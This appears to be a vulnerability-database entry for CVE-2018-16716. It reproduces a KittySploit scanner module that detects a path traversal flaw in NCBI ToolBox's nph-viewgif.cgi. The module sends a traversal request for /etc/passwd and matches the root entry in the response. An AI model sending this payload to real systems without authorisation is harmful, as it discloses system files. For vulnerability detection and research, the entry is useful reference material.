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NCBI ToolBox - Directory Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Path traversal in NCBI ToolBox viewcgi.cgi leads to arbitrary file disclosure or deletion.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2018-16716
2 May 201919:19
–cve
cvelist
Cvelist
CVE-2018-16716
2 May 201919:19
–cvelist
nuclei
Nuclei
NCBI ToolBox - Directory Traversal
17 Oct 202602:05
–nuclei
nvd
NVD
CVE-2018-16716
2 May 201920:29
–nvd
osv_cve
osv_cve
CVE-2018-16716
2 May 201920:29
–osv_cve
prion
Prion
Path traversal
2 May 201920:29
–prion
ptsecurity
Positive Technologies
PT-2019-9367
2 May 201900:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2018-16716: Improper Limitation of a Pathname to a Restricted Directory
2 May 201900:00
–rapid7
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NCBI ToolBox 2."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'NCBI ToolBox - Directory Traversal Detection',
        'description': 'NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'ncbi', 'lfi', 'nih', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/grymer/CVE/blob/master/CVE-2018-16716.md',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-16716',
            'https://github.com/ARPSyndicate/kenzer-templates',
            'https://github.com/grymer/CVE',
        ],
        'cve': 'CVE-2018-16716',
    }

    def run(self):
        r = self.http_request(method="GET", path='/blast/nph-viewgif.cgi?../../../../etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:[x*]:0:0',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='critical',
                reason="NCBI ToolBox - Directory Traversal detected",
                path='/blast/nph-viewgif.cgi?../../../../etc/passwd',
            )
            return True
        return False

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28 Jul 2026 11:27Current
8.3High risk
Vulners AI Score8.3
CVSS 27.5
CVSS 39.1
EPSS0.0857
1